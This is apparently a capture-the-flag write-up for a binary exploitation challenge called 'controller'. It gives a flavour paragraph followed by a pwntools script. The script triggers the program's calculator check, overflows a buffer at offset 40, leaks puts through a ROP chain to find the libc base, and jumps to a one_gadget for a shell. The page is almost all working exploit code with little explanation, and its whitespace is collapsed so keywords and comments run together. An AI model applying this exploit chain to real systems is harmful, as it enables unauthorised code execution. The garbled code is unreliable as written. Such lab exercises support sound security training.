The extraterrestrials have a special controller in order to manage and use our resources wisely, in order to produce state of the art technology gadgets and weapons for them. If we gain access to the controller's server, we can make them drain the minimum amount of resources or even stop them completeley. Take action fast!
Solution
from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Perform subtraction of two negatives to get +65338defcalc(p): p.sendlineafter(': ', '-65338') p.sendline('-130676') p.sendlineafter('>', '2')# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgcontinue'''.format(**locals())# Binary filenameexe ='./controller'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (warning/info/debug)context.log_level ='info'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Swap between local and remote libc# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # Locallibc =ELF('libc.so.6')# Remote# Pass in pattern_size, get back EIP/RIP offsetoffset =40# Start programio =start()# Generate 65338 in calculatorcalc(io)# Leak got.puts using ROP objectrop =ROP(elf)rop.puts(elf.got.puts)rop.calculator()# Send the payloadio.sendlineafter('>', flat({offset: rop.chain()}))io.recvline()# Get our leaked got.write address and format itgot_puts =unpack(io.recvline()[:6].ljust(8, b"\x00"))info("leaked got_puts: %#x", got_puts)# Set the libc_base_addr using the offsetslibc.address = got_puts - libc.symbols.putsinfo("libc_base: %#x", libc.address)# Generate 65338 in calculatorcalc(io)# Send the payload - one_gadgetio.sendlineafter('>', flat({offset: libc.address +0x4f3d5}))# Got Shell?io.interactive()